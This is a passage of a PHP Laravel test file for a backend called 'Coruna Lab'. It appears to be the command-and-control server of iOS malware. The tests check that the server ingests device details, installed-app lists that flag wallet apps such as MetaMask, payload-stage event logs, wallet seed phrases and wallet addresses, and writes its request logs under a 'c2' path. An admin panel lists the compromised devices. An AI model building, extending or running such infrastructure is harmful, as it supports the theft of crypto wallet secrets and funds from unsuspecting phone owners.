get('/api/user/query') ->assertOk() ->assertSee('OK'); } #[Test] public function avatar_set_ingests_device_model_and_ua(): void { $crypto = new CorunaCrypto; $payload = [ 'd' => '000430C910E8E526', 'f' => '000430C910E8E526', 'deviceModel' => 'iPhone9,1', 'systemVersion' => ['ProductVersion' => '15.8.4'], ]; $ts = '1722585600123'; $enc = $crypto->encryptJson($payload, $ts); $resp = $this->call( 'POST', '/api/user/avatar/set', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, 'HTTP_USER_AGENT' => 'CorunaLab/1.0 (iPhone; iOS 15.8.4)', ], $enc['body'] ); $resp->assertOk(); $plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp')); $this->assertSame(0, $plain['code'] ?? null); $device = Device::query()->where('device_id', '000430C910E8E526')->first(); $this->assertNotNull($device); $this->assertSame('15.8.4', $device->ios_version); $this->assertSame('iPhone9,1', $device->device_model); $this->assertStringContainsString('CorunaLab/1.0', (string) $device->user_agent); $this->assertSame(0, $device->apps()->count()); } #[Test] public function user_get_ingests_installed_apps_per_bundle(): void { $crypto = new CorunaCrypto; $payload = [ 'd' => '000430C910E8E526', 'f' => '000430C910E8E526', 'v' => '15.8.4', 'al' => [ ['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'], ['a' => 'Safari', 'b' => 'com.apple.mobilesafari', 'v' => '15.8'], ], ]; $ts = '1722585600222'; $enc = $crypto->encryptJson($payload, $ts); $this->call('POST', '/api/user/get', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', '000430C910E8E526')->first(); $this->assertNotNull($device); $this->assertSame('15.8.4', $device->ios_version); $mm = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'io.metamask')->first(); $this->assertNotNull($mm); $this->assertSame('MetaMask', $mm->name); $this->assertSame('7.12.0', $mm->version); $this->assertTrue($mm->is_wallet); $this->assertSame(2, $device->apps()->count()); } #[Test] public function avatar_put_stores_device_event_log(): void { $crypto = new CorunaCrypto; $payload = [ 'd' => '000430C910E8E526', 'f' => '000430C910E8E526', 'id' => 'event-uuid-should-not-be-device-key', 'et' => 'corepayload_update', 'desc' => 'CorePayload first load succeeded', 'ctx' => ['stage' => 1], 'm' => 'iPhone9,1', ]; $ts = '1722585600333'; $enc = $crypto->encryptJson($payload, $ts); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', '000430C910E8E526')->first(); $this->assertNotNull($device); $this->assertNull(Device::query()->where('device_id', 'event-uuid-should-not-be-device-key')->first()); $this->assertSame('iPhone9,1', $device->device_model); $ev = DeviceEvent::query()->where('device_key', '000430C910E8E526')->first(); $this->assertNotNull($ev); $this->assertSame('corepayload_update', $ev->event_name); $this->assertSame('CorePayload first load succeeded', $ev->desc); $this->assertSame(['stage' => 1], $ev->context_json); } #[Test] public function set_and_status_ingest_wallet_secrets_and_addresses(): void { $crypto = new CorunaCrypto; $mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; $tsSet = '1722585600456'; $encSet = $crypto->encryptJson([ 'd' => 'dev-wallet-1', 'result' => $mnemonic, 'pn' => 'io.metamask', ], $tsSet); $this->call('POST', '/api/user/set', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsSet, ], $encSet['body'])->assertOk(); $device = Device::query()->where('device_id', 'dev-wallet-1')->first(); $this->assertNotNull($device); $wallet = Wallet::query()->where('device_id', $device->id)->first(); $this->assertNotNull($wallet); $this->assertSame($mnemonic, $wallet->mnemonic); $this->assertSame('abandon *** about', Wallet::maskSecret($wallet->mnemonic)); $tsStatus = '1722585600789'; $encStatus = $crypto->encryptJson([ 'd' => 'dev-wallet-1', 'data' => [ ['address' => '0xabc123', 'chain' => 'eth', 'balance' => '1.5', 'symbol' => 'ETH'], ], ], $tsStatus); $this->call('POST', '/api/user/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $tsStatus, ], $encStatus['body'])->assertOk(); $this->assertTrue( WalletAddress::query() ->where('device_id', $device->id) ->where('address', '0xabc123') ->where('chain', 'eth') ->exists() ); $logFile = public_path('log/c2/'.date('Ymd').'.log'); $this->assertFileExists($logFile); $this->assertStringContainsString('/api/user/set', (string) file_get_contents($logFile)); } #[Test] public function admin_guest_is_redirected_to_admin_login(): void { $this->get('/admin') ->assertRedirect(route('admin.login')); $this->get('/admin/devices') ->assertRedirect(route('admin.login')); } #[Test] public function admin_login_and_device_list(): void { Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); Device::query()->create([ 'device_id' => 'dev-x', 'ios_version' => '16.0', 'device_model' => 'iPhone14,2', 'user_agent' => 'TestUA/1.0', 'ip' => '1.2.3.4', ]); $this->post('/admin/login', ['username' => 'admin', 'password' => 'admin123']) ->assertRedirect(route('admin.home')); $this->get('/admin') ->assertOk() ->assertSee('Coruna Lab'); $this->get('/admin/devices') ->assertOk() ->assertSee('dev-x') ->assertSee('iPhone14,2') ->assertSee('安装时间') ->assertSee('更新时间') ->assertSee('详情') ->assertDontSee('User-Agent'); $this->get('/admin/devices?device_key=dev-x&model=iPhone14&ios=16&ip=1.2.3') ->assertOk() ->assertSee('dev-x'); $this->get('/admin/devices?device_key=no-such-device') ->assertOk() ->assertSee('暂无设备'); $device = Device::query()->where('device_id', 'dev-x')->firstOrFail(); $this->get(route('admin.devices.show', [$device, 'tab' => 'apps'])) ->assertOk() ->assertSee('应用列表') ->assertSee('日志') ->assertDontSee('概览'); } }